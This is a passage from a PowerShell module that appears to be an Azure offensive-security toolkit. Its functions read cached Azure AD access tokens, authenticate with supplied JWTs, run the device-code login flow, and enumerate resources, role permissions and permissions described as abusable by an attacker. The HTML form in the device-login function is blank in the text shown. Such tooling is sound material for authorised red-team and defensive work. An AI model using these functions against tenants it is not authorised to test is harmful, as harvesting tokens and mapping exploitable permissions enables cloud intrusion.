| } 853 | } 854 | 855 | Function Remove-ARTServicePrincipalKey { 856 | <# 857 | .SYNOPSIS 858 | Removes Service Principal Certificate that was used during authentication. 859 | 860 | .DESCRIPTION 861 | Performs cleanup actions after running Connect-ARTADServicePrincipal 862 | 863 | .PARAMETER ApplicationName 864 | Specifies Enterprise Application which we want to remove certificate from 865 | 866 | .PARAMETER KeyId 867 | Specifies Certificate Key ID to remove from target Application. 868 | 869 | .EXAMPLE 870 | PS> Remove-ARTServicePrincipalKey -ApplicationName testapp1 -KeyId e1be55d2-6369-4100-b063-37c5701182fd 871 | #> 872 | 873 | [CmdletBinding()] 874 | Param( 875 | [Parameter(Mandatory=$True)] 876 | [String] 877 | $ApplicationName, 878 | 879 | [Parameter(Mandatory=$True)] 880 | [String] 881 | $KeyId 882 | ) 883 | 884 | try { 885 | $EA = $ErrorActionPreference 886 | $ErrorActionPreference = 'silentlycontinue' 887 | 888 | $certStorePath = "cert:\currentuser\my" 889 | $certPath = "$Env:Temp\*.key.pfx" 890 | 891 | try { 892 | $certDnsName = (Get-AzureADDomain | ? { $_.IsDefault -eq $true } ).Name 893 | } 894 | catch { 895 | Write-Host "[!] Get-AzureADDomain failed. Probably not authenticated." 896 | Write-Host "[!] Use: Connect-AzureAD or Connect-ARTAD before attempting authentication as Service Principal!" 897 | 898 | Throw 899 | Return 900 | } 901 | 902 | del $certPath | Out-Null 903 | Get-ChildItem -Path $certStorePath | where { $_.subject -eq "CN=$certDnsName" } | Remove-Item 904 | 905 | $app = Get-AzureADApplication | ? { $_.DisplayName -eq $ApplicationName -or $_.ObjectId -eq $ApplicationName } 906 | Remove-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -KeyId $KeyId 907 | 908 | Write-Host "[+] Cleanup finished." 909 | } 910 | catch { 911 | Write-Host "[!] Function failed!" -ForegroundColor Red 912 | Throw 913 | Return 914 | } 915 | finally { 916 | $ErrorActionPreference = $EA 917 | } 918 | } 919 | 920 | 921 | Function Connect-ARTAD { 922 | <# 923 | .SYNOPSIS 924 | Connects to the Azure AD and Microsoft.Graph 925 | 926 | .DESCRIPTION 927 | Invokes Connect-AzureAD (and Connect.MgGraph if module is installed) to authenticate current session to the Azure AD via provided Access Token or credentials. 928 | Skips the burden of providing Tenant ID and Account ID by automatically extracting those from provided Token. 929 | 930 | .PARAMETER AccessToken 931 | Specifies JWT Access Token for the https://graph.microsoft.com or https://graph.windows.net resource. 932 | 933 | .PARAMETER TokenFromAzCli 934 | Use az cli to acquire fresh access token. 935 | 936 | .PARAMETER Username 937 | Specifies Azure AD username. 938 | 939 | .PARAMETER Password 940 | Specifies Azure AD password. 941 | 942 | .PARAMETER Credential 943 | PS Credential object containing principal credentials to connect with. 944 | 945 | .EXAMPLE 946 | PS> Connect-ARTAD -AccessToken 'eyJ0eXA...' 947 | PS> Connect-ARTAD -Credential $creds 948 | PS> Connect-ARTAD -Username test@test.onmicrosoft.com -Password Foobar123% 949 | #> 950 | 951 | [CmdletBinding(DefaultParameterSetName = 'Token')] 952 | Param( 953 | [Parameter(Mandatory=$False, ParameterSetName = 'Token')] 954 | [String] 955 | $AccessToken = $null, 956 | 957 | [Parameter(Mandatory=$False, ParameterSetName = 'Token')] 958 | [Switch] 959 | $TokenFromAzCli, 960 | 961 | [Parameter(Mandatory=$True, ParameterSetName = 'Credentials')] 962 | [String] 963 | $Username = $null, 964 | 965 | [Parameter(Mandatory=$True, ParameterSetName = 'Credentials')] 966 | [String] 967 | $Password = $null, 968 | 969 | [Parameter(Mandatory=$True, ParameterSetName = 'Credentials2')] 970 | [System.Management.Automation.PSCredential] 971 | $Credential 972 | ) 973 | 974 | try { 975 | $EA = $ErrorActionPreference 976 | $ErrorActionPreference = 'silentlycontinue' 977 | 978 | if (-not (Get-Module -ListAvailable -Name AzureAD)) { 979 | Write-Verbose "AzureAD Powershell module not installed or not loaded. Installing it..." 980 | Install-Module -Name AzureAD -Force -Confirm -Scope CurrentUser -AllowClobber 981 | } 982 | 983 | if($PsCmdlet.ParameterSetName -eq "Token" -and ($AccessToken -eq $null -or $AccessToken -eq "")) { 984 | Write-Verbose "Acquiring Azure access token from Connect-AzureAD..." 985 | if($TokenFromAzCli) { 986 | Write-Verbose "Acquiring Azure access token from az cli..." 987 | $AccessToken = Get-ARTAccessTokenAzCli -Resource https://graph.microsoft.com 988 | } 989 | else { 990 | Write-Verbose "Acquiring Azure access token from Connect-AzAccount..." 991 | $AccessToken = Get-ARTAccessTokenAz -Resource https://graph.microsoft.com 992 | } 993 | } 994 | 995 | if($AccessToken -ne $null -and $AccessToken.Length -gt 0) { 996 | Write-Verbose "Azure AD authentication via provided access token..." 997 | $parsed = Parse-JWTtokenRT $AccessToken 998 | $tenant = $parsed.tid 999 | 1000 | if(-not $parsed.aud -like 'https://graph.*') { 1001 | Write-Warning "Provided JWT Access Token is not scoped to https://graph.microsoft.com or https://graph.windows.net! Instead its scope is: $($parsed.aud)" 1002 | } 1003 | 1004 | if ([bool]($parsed.PSobject.Properties.name -match "upn")) { 1005 | Write-Verbose "Token belongs to a User Principal." 1006 | $account = $parsed.upn 1007 | } 1008 | elseif ([bool]($parsed.PSobject.Properties.name -match "unique_name")) { 1009 | Write-Verbose "Token belongs to a User Principal." 1010 | $account = $parsed.unique_name 1011 | } 1012 | else { 1013 | Write-Verbose "Token belongs to a Service Principal." 1014 | $account = $parsed.appId 1015 | } 1016 | 1017 | Connect-AzureAD -AadAccessToken $AccessToken -TenantId $tenant -AccountId $account 1018 | 1019 | if(Get-Command Connect-MgGraph) { 1020 | Connect-MgGraph -AccessToken $AccessToken 1021 | } 1022 | 1023 | if ($PSCmdlet.MyInvocation.BoundParameters["Verbose"].IsPresent) { 1024 | Parse-JWTtokenRT $AccessToken 1025 | } 1026 | } 1027 | elseif (($PsCmdlet.ParameterSetName -eq "Credentials2") -and ($Credential -ne $null)) { 1028 | Write-Verbose "Azure AD authentication via provided PSCredential object..." 1029 | Connect-AzureAD -Credential $Credential 1030 | } 1031 | else { 1032 | $passwd = ConvertTo-SecureString $Password -AsPlainText -Force 1033 | $creds = New-Object System.Management.Automation.PSCredential ($Username, $passwd) 1034 | 1035 | Write-Verbose "Azure AD authentication via provided creds..." 1036 | Connect-AzureAD -Credential $creds 1037 | } 1038 | } 1039 | catch { 1040 | Write-Host "[!] Function failed!" -ForegroundColor Red 1041 | Throw 1042 | Return 1043 | } 1044 | finally { 1045 | $ErrorActionPreference = $EA 1046 | } 1047 | } 1048 | 1049 | 1050 | Function Get-ARTAccessTokenAzCli { 1051 | <# 1052 | .SYNOPSIS 1053 | Gets access token from az cli. 1054 | 1055 | .DESCRIPTION 1056 | Acquires access token from az cli, via az accound get-access-token 1057 | 1058 | .PARAMETER AccessToken 1059 | Optionally specifies Azure Application that acquired token should be scoped to. 1060 | 1061 | .EXAMPLE 1062 | PS> Get-ARTAccessTokenAzCli -Resource https://graph.microsoft.com 1063 | #> 1064 | 1065 | [CmdletBinding()] 1066 | Param( 1067 | [Parameter(Mandatory=$False)] 1068 | [String] 1069 | $Resource = $null 1070 | ) 1071 | 1072 | try { 1073 | $EA = $ErrorActionPreference 1074 | $ErrorActionPreference = 'silentlycontinue' 1075 | 1076 | $token = $null 1077 | 1078 | if($Resource -ne $null -and $Resource.Length -gt 0) { 1079 | if ($Resource -eq "https://graph.microsoft.com") { 1080 | Write-Verbose "Trying to acquire Azure AD access token from a local cache..." 1081 | try { 1082 | $token = [Microsoft.Open.Azure.AD.CommonLibrary.AzureSession]::AccessTokens['AccessToken'].AccessToken 1083 | Write-Verbose "Got it." 1084 | return $token 1085 | } 1086 | catch { 1087 | Write-Verbose "Nope. That didn't work." 1088 | } 1089 | } 1090 | 1091 | $token = ((az account get-access-token --resource $Resource) | ConvertFrom-Json).accessToken 1092 | } 1093 | else { 1094 | $token = ((az account get-access-token) | ConvertFrom-Json).accessToken 1095 | } 1096 | 1097 | if ($token -eq $null -or $token.Length -eq 0) { 1098 | throw "[!] Could not obtain token!" 1099 | } 1100 | 1101 | $parsed = Parse-JWTtokenRT $token 1102 | Write-Verbose "Token for Resource: $($parsed.aud)" 1103 | 1104 | Return $token 1105 | } 1106 | catch { 1107 | Write-Host "[!] Function failed!" -ForegroundColor Red 1108 | Throw 1109 | Return 1110 | } 1111 | finally { 1112 | $ErrorActionPreference = $EA 1113 | } 1114 | } 1115 | 1116 | Function Get-ARTAccessTokenAz { 1117 | <# 1118 | .SYNOPSIS 1119 | Gets access token from Az module. 1120 | 1121 | .DESCRIPTION 1122 | Acquires access token from Az module, via Get-AzAccessToken . 1123 | 1124 | .PARAMETER AccessToken 1125 | Optionally specifies Azure Application that acquired token should be scoped to. 1126 | 1127 | .EXAMPLE 1128 | PS> Get-ARTAccessTokenAz -Resource https://graph.microsoft.com 1129 | #> 1130 | 1131 | [CmdletBinding()] 1132 | Param( 1133 | [Parameter(Mandatory=$False)] 1134 | [String] 1135 | $Resource = $null 1136 | ) 1137 | 1138 | try { 1139 | $EA = $ErrorActionPreference 1140 | $ErrorActionPreference = 'silentlycontinue' 1141 | 1142 | $token = $null 1143 | 1144 | if ($Resource -eq "https://management.azure.com" -or $Resource -eq "https://management.core.windows.net") { 1145 | $token = (Get-AzAccessToken).Token 1146 | } 1147 | elseif($Resource -ne $null -and $Resource.Length -gt 0 ) { 1148 | # Taken from AzureHound's Get-AzureGraphToken 1149 | $APSUser = Get-AzContext *>&1 1150 | $token = [Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate($APSUser.Account, $APSUser.Environment, $APSUser.Tenant.Id.ToString(), $null, [Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never, $null, $Resource).AccessToken 1151 | 1152 | if ($token -eq $null -or $token.Length -eq 0) { 1153 | $token = (Get-AzAccessToken -Resource $Resource).Token 1154 | } 1155 | } 1156 | else { 1157 | $token = (Get-AzAccessToken).Token 1158 | } 1159 | 1160 | if ($token -eq $null -or $token.Length -eq 0) { 1161 | throw "[!] Could not obtain token!" 1162 | } 1163 | 1164 | $parsed = Parse-JWTtokenRT $token 1165 | Write-Verbose "Token for Resource: $($parsed.aud)" 1166 | 1167 | Return $token 1168 | } 1169 | catch { 1170 | Write-Host "[!] Function failed!" -ForegroundColor Red 1171 | Throw 1172 | Return 1173 | } 1174 | finally { 1175 | $ErrorActionPreference = $EA 1176 | } 1177 | } 1178 | 1179 | 1180 | Function Get-ARTAccessTokenAzureADCached { 1181 | <# 1182 | .SYNOPSIS 1183 | Attempts to retrieve locally cached AzureAD access token, stored after Connect-AzureAD occurred. 1184 | 1185 | .DESCRIPTION 1186 | Attempts to retrieve locally cached AzureAD access token (https://graph.microsoft.com), stored after Connect-AzureAD occurred. 1187 | 1188 | .EXAMPLE 1189 | PS> Get-ARTAccessTokenAzureADCached 1190 | #> 1191 | 1192 | [CmdletBinding()] 1193 | Param( 1194 | ) 1195 | 1196 | try { 1197 | $EA = $ErrorActionPreference 1198 | $ErrorActionPreference = 'silentlycontinue' 1199 | 1200 | $token = $null 1201 | 1202 | Write-Verbose "Trying to acquire Azure AD access token from a local cache..." 1203 | 1204 | try { 1205 | $token = [Microsoft.Open.Azure.AD.CommonLibrary.AzureSession]::AccessTokens['AccessToken'].AccessToken 1206 | Write-Verbose "Got it." 1207 | return $token 1208 | } 1209 | catch { 1210 | Write-Verbose "Nope. That didn't work." 1211 | Return "" 1212 | } 1213 | 1214 | $parsed = Parse-JWTtokenRT $token 1215 | Write-Verbose "Token for Resource: $($parsed.aud)" 1216 | 1217 | Return $token 1218 | } 1219 | catch { 1220 | Write-Host "[!] Function failed!" -ForegroundColor Red 1221 | Throw 1222 | Return 1223 | } 1224 | finally { 1225 | $ErrorActionPreference = $EA 1226 | } 1227 | } 1228 | 1229 | # 1230 | # SOURCE: 1231 | # https://blog.simonw.se/getting-an-access-token-for-azuread-using-powershell-and-device-login-flow/ 1232 | # 1233 | # AUTHOR: 1234 | # Simon Wahlin, @SimonWahlin 1235 | # 1236 | function Get-ARTAccessTokenAzureAD { 1237 | <# 1238 | .SYNOPSIS 1239 | Gets an access token from Azure Active Directory via Device sign-in. 1240 | 1241 | .DESCRIPTION 1242 | Gets an access token from Azure Active Directory that can be used to authenticate to for example Microsoft Graph or Azure Resource Manager. 1243 | 1244 | Run without parameters to get an access token to Microsoft Graph and the users original tenant. 1245 | 1246 | Use the parameter -Interactive and the script will open the sign in experience in the default browser without user having to copy any code. 1247 | 1248 | .PARAMETER ClientID 1249 | Application client ID, defaults to well-known ID for Microsoft Azure PowerShell 1250 | 1251 | .PARAMETER Interactive 1252 | Tries to open sign-in experience in default browser. If this succeeds the user don't need to copy and paste any device code. 1253 | 1254 | .PARAMETER TenantID 1255 | ID of tenant to sign in to, defaults to the tenant where the user was created 1256 | 1257 | .PARAMETER Resource 1258 | Identifier for target resource, this is where the token will be valid. Defaults to "https://graph.microsoft.com/" 1259 | Use "https://management.azure.com" to get a token that works with Azure Resource Manager (ARM) 1260 | 1261 | .EXAMPLE 1262 | $Token = Get-ARTAccessTokenAzureAD -Interactive 1263 | $Headers = @{'Authorization' = "Bearer $Token" } 1264 | $UsersUri = 'https://graph.microsoft.com/v1.0/users?$top=5' 1265 | $Users = Invoke-RestMethod -Method GET -Uri $UsersUri -Headers $Headers 1266 | $Users.value.userprincipalname 1267 | 1268 | Using Microsoft Graph to print the userprincipalname of 5 users in the tenant. 1269 | 1270 | .EXAMPLE 1271 | $Token = Get-ARTAccessTokenAzureAD -Interactive -Resource 'https://management.azure.com' 1272 | $Headers = @{'Authorization' = "Bearer $Token" } 1273 | $SubscriptionsURI = 'https://management.azure.com/subscriptions?api-version=2019-11-01' 1274 | $Subscriptions = Invoke-RestMethod -Method GET -Uri $SubscriptionsURI -Headers $Headers 1275 | $Subscriptions.value.displayName 1276 | 1277 | Using Azure Resource Manager (ARM) to print the display name for all the subscriptions the user has access to. 1278 | 1279 | .NOTES 1280 | 1281 | #> 1282 | 1283 | [cmdletbinding()] 1284 | param( 1285 | [Parameter()] 1286 | $ClientID = '1950a258-227b-4e31-a9cf-717495945fc2', 1287 | 1288 | [Parameter()] 1289 | [switch]$Interactive, 1290 | 1291 | [Parameter()] 1292 | $TenantID = 'common', 1293 | 1294 | [Parameter()] 1295 | $Resource = "https://graph.microsoft.com/", 1296 | 1297 | # Timeout in seconds to wait for user to complete sign in process 1298 | [Parameter(DontShow)] 1299 | $Timeout = 300 1300 | ) 1301 | try { 1302 | $EA = $ErrorActionPreference 1303 | $ErrorActionPreference = 'silentlycontinue' 1304 | 1305 | $DeviceCodeRequestParams = @{ 1306 | Method = 'POST' 1307 | Uri = "https://login.microsoftonline.com/$TenantID/oauth2/devicecode" 1308 | Body = @{ 1309 | resource = $Resource 1310 | client_id = $ClientId 1311 | } 1312 | } 1313 | $DeviceCodeRequest = Invoke-RestMethod @DeviceCodeRequestParams 1314 | 1315 | if ($Interactive.IsPresent) { 1316 | Write-Host 'Trying to open a browser with login prompt. Please sign in.' -ForegroundColor Yellow 1317 | Start-Sleep -Second 1 1318 | $PostParameters = @{otc = $DeviceCodeRequest.user_code } 1319 | $InputFields = foreach ($entry in $PostParameters.GetEnumerator()) { 1320 | "" 1321 | } 1322 | $PostUrl = "https://login.microsoftonline.com/common/oauth2/deviceauth" 1323 | $LocalHTML = @" 1324 | 1325 | 1326 | 1327 | 1328 | 1329 | 1332 | 1333 | 1334 |
1335 | $InputFields 1336 |
1337 | 1338 | 1339 | "@ 1340 | $TempPage = New-TemporaryFile 1341 | $TempPage = Rename-Item -Path $TempPage.FullName ($TempPage.FullName -replace '$', '.html') -PassThru 1342 | Out-File -FilePath $TempPage.FullName -InputObject $LocalHTML 1343 | Start-Process $TempPage.FullName 1344 | } 1345 | else { 1346 | Write-Host $DeviceCodeRequest.message -ForegroundColor Yellow 1347 | } 1348 | 1349 | $TokenRequestParams = @{ 1350 | Method = 'POST' 1351 | Uri = "https://login.microsoftonline.com/$TenantId/oauth2/token" 1352 | Body = @{ 1353 | grant_type = "urn:ietf:params:oauth:grant-type:device_code" 1354 | code = $DeviceCodeRequest.device_code 1355 | client_id = $ClientId 1356 | } 1357 | } 1358 | $TimeoutTimer = [System.Diagnostics.Stopwatch]::StartNew() 1359 | while ([string]::IsNullOrEmpty($TokenRequest.access_token)) { 1360 | if ($TimeoutTimer.Elapsed.TotalSeconds -gt $Timeout) { 1361 | throw 'Login timed out, please try again.' 1362 | } 1363 | $TokenRequest = try { 1364 | Invoke-RestMethod @TokenRequestParams -ErrorAction Stop 1365 | } 1366 | catch { 1367 | $Message = $_.ErrorDetails.Message | ConvertFrom-Json 1368 | if ($Message.error -ne "authorization_pending") { 1369 | throw 1370 | } 1371 | } 1372 | Start-Sleep -Seconds 1 1373 | } 1374 | Write-Output $TokenRequest.access_token 1375 | } 1376 | finally { 1377 | try { 1378 | Remove-Item -Path $TempPage.FullName -Force -ErrorAction Stop 1379 | $TimeoutTimer.Stop() 1380 | } 1381 | catch { 1382 | # We don't care about errors here 1383 | } 1384 | } 1385 | } 1386 | 1387 | Function Get-ARTDangerousPermissions { 1388 | <# 1389 | .SYNOPSIS 1390 | Displays Permissions on Azure Resources that could facilitate further Attacks. 1391 | 1392 | .DESCRIPTION 1393 | Analyzes accessible Azure Resources and associated permissions user has on them to find all the Dangerous ones that could be abused by an attacker. 1394 | 1395 | .PARAMETER AccessToken 1396 | Optional, specifies JWT Access Token for the https://management.azure.com resource. 1397 | 1398 | .PARAMETER SubscriptionId 1399 | Optional parameter specifying which Subscription should be requested. 1400 | 1401 | .PARAMETER Text 1402 | If specified, output will be printed as pre-formatted text. By default a Powershell array is returned. 1403 | 1404 | .EXAMPLE 1405 | PS> Get-ARTDangerousPermissions -AccessToken 'eyJ0eXA...' 1406 | #> 1407 | 1408 | [CmdletBinding()] 1409 | Param( 1410 | [Parameter(Mandatory=$False)][String] 1411 | $AccessToken = $null, 1412 | 1413 | [Parameter(Mandatory=$False)][String] 1414 | $SubscriptionId = $null, 1415 | 1416 | [Switch] 1417 | $Text 1418 | ) 1419 | 1420 | try { 1421 | $EA = $ErrorActionPreference 1422 | $ErrorActionPreference = 'silentlycontinue' 1423 | 1424 | $resource = "https://management.azure.com" 1425 | 1426 | if ($AccessToken -eq $null -or $AccessToken -eq ""){ 1427 | Write-Verbose "Access Token not provided. Requesting one from Get-AzAccessToken ..." 1428 | $AccessToken = Get-ARTAccessTokenAz -Resource $resource 1429 | } 1430 | 1431 | if ($AccessToken -eq $null -or $AccessToken -eq ""){ 1432 | Write-Error "Could not obtain required Access Token!" 1433 | Return 1434 | } 1435 | 1436 | $headers = @{ 1437 | 'Authorization' = "Bearer $AccessToken" 1438 | } 1439 | 1440 | $parsed = Parse-JWTtokenRT $AccessToken 1441 | 1442 | if(-not $parsed.aud -like 'https://management.*') { 1443 | Write-Warning "Provided JWT Access Token is not scoped to https://management.azure.com or https://management.core.windows.net! Instead its scope is: $($parsed.aud)" 1444 | } 1445 | 1446 | #$resource = $parsed.aud 1447 | 1448 | Write-Verbose "Will use resource: $resource" 1449 | 1450 | if($SubscriptionId -eq $null -or $SubscriptionId -eq "") { 1451 | $SubscriptionId = Get-ARTSubscriptionId -AccessToken $AccessToken 1452 | } 1453 | 1454 | if($SubscriptionId -eq $null -or $SubscriptionId -eq "") { 1455 | Write-Error "Could not acquire Subscription ID!" 1456 | Return 1457 | } 1458 | 1459 | Write-Verbose "Enumerating resources on subscription: $SubscriptionId" 1460 | 1461 | $resources = (Invoke-RestMethod -Uri "$resource/subscriptions/$SubscriptionId/resources?api-version=2021-04-01" -Headers $headers).value 1462 | 1463 | if($resources.Length -eq 0 ) { 1464 | if($Text) { 1465 | Write-Host "No available resourources found or lacking required permissions." 1466 | } 1467 | else { 1468 | Write-Verbose "No available resourources found or lacking required permissions." 1469 | } 1470 | 1471 | Return 1472 | } 1473 | 1474 | $DangerousPermissions = New-Object System.Collections.ArrayList 1475 | $dangerousscopes = New-Object System.Collections.ArrayList 1476 | 1477 | $resources | % { 1478 | try { 1479 | $permissions = ((Invoke-RestMethod -Uri "https://management.azure.com$($_.id)/providers/Microsoft.Authorization/permissions?api-version=2018-07-01" -Headers $headers).value).actions 1480 | } 1481 | catch { 1482 | $permissions = @() 1483 | } 1484 | 1485 | $once = $false 1486 | 1487 | foreach ($dangperm in $KnownDangerousPermissions.GetEnumerator()) { 1488 | foreach ($perm in $permissions) { 1489 | 1490 | if(-not $once) { 1491 | Write-Verbose "Checking permission $perm on $($_.Name) ..." 1492 | $once = $true 1493 | } 1494 | 1495 | if ($perm -like "*$($dangperm.Name)*") { 1496 | 1497 | $obj = [PSCustomObject]@{ 1498 | DangerousPermission = $dangperm.Name 1499 | ResourceName = $_.name 1500 | ResourceGroupName = $_.id.Split('/')[4] 1501 | ResourceType = $_.type 1502 | PermissionsGranted = $perm 1503 | Description = $dangperm.Value 1504 | Scope = $_.id 1505 | } 1506 | 1507 | if($_.id -notin $dangerousscopes) { 1508 | $null = $DangerousPermissions.Add($obj) 1509 | } 1510 | } 1511 | } 1512 | } 1513 | } 1514 | 1515 | if ($Text) { 1516 | $num = 1 1517 | 1518 | if($DangerousPermissions -ne $null) { 1519 | Write-Host "=== Dangerous Permissions Identified on Azure Resources ===`n" -ForegroundColor Magenta 1520 | 1521 | $DangerousPermissions | % { 1522 | Write-Host "`n`t$($num)." 1523 | Write-Host "`tDangerous Permission :`t$($_.DangerousPermission)" -ForegroundColor Red 1524 | Write-Host "`tResource Name :`t$($_.ResourceName)" -ForegroundColor Green 1525 | Write-Host "`tResource Group Name :`t$($_.ResourceGroupName)" 1526 | Write-Host "`tResource Type :`t$($_.ResourceType)" 1527 | Write-Host "`tScope :`t$($_.Scope)" 1528 | Write-Host "`tDescription : $($_.Description)" 1529 | 1530 | $num += 1 1531 | } 1532 | } 1533 | } 1534 | else { 1535 | $DangerousPermissions 1536 | } 1537 | } 1538 | catch { 1539 | Write-Host "[!] Function failed!" -ForegroundColor Red 1540 | Throw 1541 | Return 1542 | } 1543 | finally { 1544 | $ErrorActionPreference = $EA 1545 | } 1546 | } 1547 | 1548 | Function Get-ARTResource { 1549 | <# 1550 | .SYNOPSIS 1551 | Displays accessible Azure Resources along with corresponding permissions user has on them. 1552 | 1553 | .DESCRIPTION 1554 | Authenticates to the https://management.azure.com using provided Access Token and pulls accessible resources and permissions that token Owner have against them. 1555 | 1556 | .PARAMETER AccessToken 1557 | Optional, specifies JWT Access Token for the https://management.azure.com resource. 1558 | 1559 | .PARAMETER SubscriptionId 1560 | Optional parameter specifying which Subscription should be requested. 1561 | 1562 | .PARAMETER Text 1563 | If specified, output will be printed as pre-formatted text. By default a Powershell array is returned. 1564 | 1565 | .EXAMPLE 1566 | PS> Get-ARTResource -AccessToken 'eyJ0eXA...' 1567 | #> 1568 | 1569 | [CmdletBinding()] 1570 | Param( 1571 | [Parameter(Mandatory=$False)][String] 1572 | $AccessToken = $null, 1573 | 1574 | [Parameter(Mandatory=$False)][String] 1575 | $SubscriptionId = $null, 1576 | 1577 | [Switch] 1578 | $Text 1579 | ) 1580 | 1581 | try { 1582 | $EA = $ErrorActionPreference 1583 | $ErrorActionPreference = 'silentlycontinue' 1584 | 1585 | $resource = "https://management.azure.com" 1586 | 1587 | if ($AccessToken -eq $null -or $AccessToken -eq ""){ 1588 | Write-Verbose "Access Token not provided. Requesting one from Get-AzAccessToken ..." 1589 | $AccessToken = Get-ARTAccessTokenAz -Resource $resource 1590 | } 1591 | 1592 | if ($AccessToken -eq $null -or $AccessToken -eq ""){ 1593 | Write-Error "Could not obtain required Access Token!" 1594 | Return 1595 | } 1596 | 1597 | $headers = @{ 1598 | 'Authorization' = "Bearer $AccessToken" 1599 | } 1600 | 1601 | $parsed = Parse-JWTtokenRT $AccessToken 1602 | 1603 | if(-not $parsed.aud -like 'https://management.*') { 1604 | Write-Warning "Provided JWT Access Token is not scoped to https://management.azure.com or https://management.core.windows.net! Instead its scope is: $($parsed.aud)" 1605 | } 1606 | 1607 | #$resource = $parsed.aud 1608 | 1609 | Write-Verbose "Will use resource: $resource" 1610 | 1611 | if($SubscriptionId -eq $null -or $SubscriptionId -eq "") { 1612 | $SubscriptionId = Get-ARTSubscriptionId -AccessToken $AccessToken 1613 | } 1614 | 1615 | if($SubscriptionId -eq $null -or $SubscriptionId -eq "") { 1616 | Write-Error "Could not acquire Subscription ID!" 1617 | Return 1618 | } 1619 | 1620 | Write-Verbose "Enumerating resources on subscription: $SubscriptionId" 1621 | 1622 | $resources = (Invoke-RestMethod -Uri "$resource/subscriptions/$SubscriptionId/resources?api-version=2021-04-01" -Headers $headers).value 1623 | 1624 | if($resources.Length -eq 0 ) { 1625 | if($Text) { 1626 | Write-Host "No available resourources found or lacking required permissions." 1627 | } 1628 | else { 1629 | Write-Verbose "No available resourources found or lacking required permissions." 1630 | } 1631 | 1632 | Return 1633 | } 1634 | 1635 | $Coll = New-Object System.Collections.ArrayList 1636 | 1637 | $resources | % { 1638 | try { 1639 | $permissions = ((Invoke-RestMethod -Uri "https://management.azure.com$($_.id)/providers/Microsoft.Authorization/permissions?api-version=2018-07-01" -Headers $headers).value).actions 1640 | } 1641 | catch { 1642 | $permissions = @() 1643 | } 1644 | 1645 | $obj = [PSCustomObject]@{ 1646 | Name = $_.name 1647 | ResourceGroupName = $_.id.Split('/')[4] 1648 | ResourceType = $_.type 1649 | Permissions = $permissions 1650 | Scope = $_.id 1651 | } 1652 | 1653 | $null = $Coll.Add($obj) 1654 | } 1655 | 1656 | if ($Text) { 1657 | Write-Host "=== Accessible Azure Resources & Permissions ==" 1658 | 1659 | $num = 1 1660 | $Coll | % { 1661 | Write-Host "`n`t$($num)." 1662 | Write-Host "`tName :`t$($_.Name)" 1663 | Write-Host "`tResource Group Name :`t$($_.ResourceGroupName)" 1664 | Write-Host "`tResource Type :`t$($_.ResourceType)" 1665 | Write-Host "`tScope :`t$($_.Scope)" 1666 | Write-Host "`tPermissions: $($_.Permissions.Length)" 1667 | 1668 | $_.Permissions | % { 1669 | Write-Host "`t`t- $_" 1670 | } 1671 | 1672 | 1673 | $num += 1 1674 | } 1675 | 1676 | Write-Host 1677 | } 1678 | else { 1679 | $Coll 1680 | } 1681 | } 1682 | catch { 1683 | Write-Host "[!] Function failed!" -ForegroundColor Red 1684 | Throw 1685 | Return 1686 | } 1687 | finally { 1688 | $ErrorActionPreference = $EA 1689 | } 1690 | } 1691 | 1692 | Function Get-ARTADRolePermissions { 1693 | <# 1694 | .SYNOPSIS 1695 | Shows Azure AD role permissions. 1696 | 1697 | .DESCRIPTION 1698 | Displays all granted permissions on a specified Azure AD role. 1699 | 1700 | .PARAMETER RoleName 1701 | Name of the role to inspect. 1702 | 1703 | .EXAMPLE 1704 | PS> Get-ARTADRolePermissions -RoleName "Global Administrator" 1705 | #> 1706 | 1707 | [CmdletBinding()] 1708 | Param( 1709 | [Parameter(Mandatory=$True)] 1710 | [String] 1711 | $RoleName 1712 | ) 1713 | 1714 | try { 1715 | $EA = $ErrorActionPreference 1716 | $ErrorActionPreference = 'silentlycontinue' 1717 | 1718 | (Get-AzureADMSRoleDefinition -Filter "displayName eq '$RoleName'").RolePermissions | select -Expand AllowedResourceActions | Format-List 1719 | } 1720 | catch { 1721 | Write-Host "[!] Function failed!" -ForegroundColor Red 1722 | Throw 1723 | Return 1724 | } 1725 | finally { 1726 | $ErrorActionPreference = $EA 1727 | } 1728 | } 1729 | 1730 | Function Get-ARTRolePermissions { 1731 | <# 1732 | .SYNOPSIS 1733 | Shows Azure role permissions. 1734 | 1735 | .DESCRIPTION 1736 | Displays all granted permissions on a specified Azure RBAC role. 1737 | 1738 | .PARAMETER RoleName 1739 | Name of the role to inspect. 1740 | 1741 | .EXAMPLE 1742 | PS> Get-ARTRolePermissions -RoleName Owner 1743 | #> 1744 | 1745 | [CmdletBinding()] 1746 | Param( 1747 | [Parameter(Mandatory=$True)] 1748 | [String] 1749 | $RoleName 1750 | ) 1751 | 1752 | try { 1753 | $EA = $ErrorActionPreference 1754 | $ErrorActionPreference = 'silentlycontinue' 1755 | 1756 | try { 1757 | $role = Get-AzRoleDefinition -Name $RoleName 1758 | } 1759 | catch { 1760 | Write-Host "[!] Could not get Role Definition. Possibly due to lacking privileges or lack of connection." 1761 | Throw 1762 | Return 1763 | } 1764 | 1765 | Write-Host "Role Name : $RoleName" 1766 | Write-Host "Is Custom Role : $($role.IsCustom)" 1767 | 1768 | if($role.Actions.Length -gt 0 ) { 1769 | Write-Host "`nActions:" 1770 | $role.Actions | % { 1771 | Write-Host "`t- $($_)" 1772 | } 1773 | } 1774 | 1775 | if($role.NotActions.Length -gt 0 ) { 1776 | Write-Host "`nNotActions:" 1777 | $role.NotActions | % { 1778 | Write-Host "`t- $($_)" 1779 | } 1780 | } 1781 | 1782 | if($role.DataActions.Length -gt 0 ) { 1783 | Write-Host "`nDataActions:" 1784 | $role.DataActions | % { 1785 | Write-Host "`t- $($_)" 1786 | } 1787 | } 1788 | 1789 | if($role.NotDataActions.Length -gt 0 ) { 1790 | Write-Host "`nNotDataActions:" 1791 | $role.NotDataActions | % { 1792 | Write-Host "`t- $($_)" 1793 | } 1794 | } 1795 | 1796 | Write-Host "" 1797 | } 1798 | catch { 1799 | Write-Host "[!] Function failed!" -ForegroundColor Red 1800 | Throw 1801 | Return 1802 | } 1803 | finally { 1804 | $ErrorActionPreference = $EA 1805 | } 1806 | } 1807 | 1808 | Function Get-ARTAutomationRunbookCode { 1809 | <# 1810 | .SYNOPSIS 1811 | Retrieves automation's runbook code. 1812 | 1813 | .DESCRIPTION 1814 | Invokes REST API method to pull specified Runbook's source code. 1815 | 1816 | .PARAMETER RunbookName 1817 | 